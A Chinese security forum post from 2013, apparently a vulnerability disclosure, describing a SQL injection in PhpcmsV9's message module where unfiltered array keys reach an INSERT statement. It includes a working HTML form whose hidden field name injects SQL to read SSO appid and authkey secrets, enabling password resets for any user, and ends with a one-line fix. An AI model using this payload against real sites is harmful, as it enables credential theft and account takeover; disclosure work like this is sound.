找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1969|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
简要描述:
# |) t/ l/ x% X5 n
  b4 B3 b8 o' n3 x8 `8 o' X% s& Z第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
8 O, a, B! _( ~$ L0 `1 Z% M* i' @3 ^3 J5 c* |
明天再更新下一个漏洞。
1 d) m2 I% q. I详细说明:4 T! P5 i  q4 `9 S- C
在/phpcms9/phpcms/modules/message/index.php中有代码如下:9 u) I1 H4 q8 [+ a6 G% D, ~
. ~  T0 s8 a2 X( o5 R
$messageid = $this->message_db->insert($_POST['info'],true);: W2 E7 Q  b5 n$ ]
% s$ D- B& g0 q# U
: ]0 Q) C: `. O) p8 @
insert方法是key value的,代码如下:
; w) D" Q; v6 W' C/ K# K+ y/ s( g. Q6 K5 Q; M
public function insert($data, $table, $return_insert_id = false, $replace = false) {. O# x0 g9 R/ v" i5 \' m% P
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
4 z4 n3 B% g: \+ J                        return false;3 l6 v- F; m, {) p8 P0 A, a7 w4 D
                }
6 G1 m$ E; m4 Q9 W$ z8 E7 u$ z9 t$ g4 {               
# V9 t8 X1 e8 F/ g4 e3 ?1 L8 r                $fielddata = array_keys($data);
" {( _  n( q' N0 f9 k* V! I                $valuedata = array_values($data);: m' @0 f& a  y: e5 W3 v2 Y/ \
                array_walk($fielddata, array($this, 'add_special_char'));
4 A5 y0 z0 v- R& Z" U' f: z                array_walk($valuedata, array($this, 'escape_string'));5 K  J. ?( Y5 K1 C
                % r4 V5 d8 X6 t: J5 o) V
                $field = implode (',', $fielddata);
( a0 p9 ^$ i1 u* `  |                $value = implode (',', $valuedata);) ?# T! t/ B- y

  j' C8 p- r- H2 J2 T3 I                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';/ y* h  S4 e0 E0 Y, m
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';- |" K, J% S1 h6 D
                $return = $this->execute($sql);4 ~) N, }4 o' J8 P' U4 S0 r
                return $return_insert_id ? $this->insert_id() : $return;$ i* F/ x0 \" T$ ]% O' W
        }
# ?+ V$ W  F1 I, N
( d7 x$ i, g2 p! o, o
! u: M$ p) b% ]  y% R嗯,很遗憾的是' Y, E6 A- @) w# p3 T# }
+ n: v: q. s' f- }- _8 b) m
array_walk($fielddata, array($this, 'add_special_char'));
! R, c2 {: Y8 ~
3 T+ a- w6 s. o$ J$ o% H' v2 R5 i
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。" Y. d' ?3 E, N1 o* i' u

4 p$ t# [. }: |& B, p* n  F0 q, C到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
  ~$ O' ~' w5 r  C4 \% w1 X
3 C& ?3 c9 J' `! J漏洞证明:0 b7 p( @, T  ?: t- c
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。* J2 }$ `! ]7 z0 r
% l, K, j3 H/ K( a

  M0 [) V% M" }表单如下:用户名什么的得自己改一改。) |4 A- f, }, d2 [+ B. G
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">: g6 {2 E1 h' o; E
<table width="100%" cellspacing="0" class="table_form">  F$ y" @8 N- V/ m) l; C* B
<tr>
4 P  ~+ f6 l# R1 n+ D<th>标 题:</th>
% C. v) a9 j" F( R' L7 h& b1 r<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>( X# t+ n& J) ?2 N# U$ K# q
</tr>
/ s8 x6 F2 @: T3 @+ D* m" F<tr>" [, m+ e* ^9 ?) n  a
<th>内 容:</th>6 m) H& m- w* l6 z
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
) I$ f% a9 l+ z7 R' P</tr>
' h3 G4 `9 [' C& z: R" k" ]" L; K<input type="hidden" name="info[replyid]" value="2" />
' H3 T& r7 O" P" [6 [: b3 m9 I<input type="hidden" name="info[send_to_id]" value="cc" />
' c- N$ _. ?8 M- v% Z4 f9 e3 i0 a# _<input type="hidden" name="info[send_from_id]" value="hh">
0 m" Q4 G5 R  D/ ^4 U<!-- 漏洞的利用重点在这里开始 -->4 j1 z, v3 o( P( s3 e( x4 c
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> , d4 W+ l/ M; V$ c
<!-- 漏洞的利用重点在这里结束 -->% q* d3 b  b) a0 _
<tr>
/ D$ n) {0 a; I9 b2 F<th>验证码:</th>3 a) |0 j4 G2 |: y2 M2 ]
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>9 V) L" A5 ^/ X8 \  y
</tr>
  @: D# e" a* }! W5 ]3 q<tr>
2 f' u2 [) k; d<td></td>
# Q9 R6 f" q5 }2 S3 s<td colspan="2"><label>
3 s5 j* x0 E3 x# G# V<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
9 I# V% q! |3 V/ N</label></td>
+ i4 R6 Y: h' b</tr>" i* I8 b1 x( ^; ?; n; Q/ `
</table>
1 \# Y5 z: h) N% Q9 r</form>+ ]2 u0 H" `8 ^$ J) @% e! c3 C
在add_special_char函数内对key做过滤就可以了。6 u! T/ h1 N5 o) Y$ F
7 d8 l* f! X! S: w% y+ h; Z

1 P  x" v6 V% P( n; {
1 ^) e+ g- J/ J0 n5 C1 w" I. o3 S

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表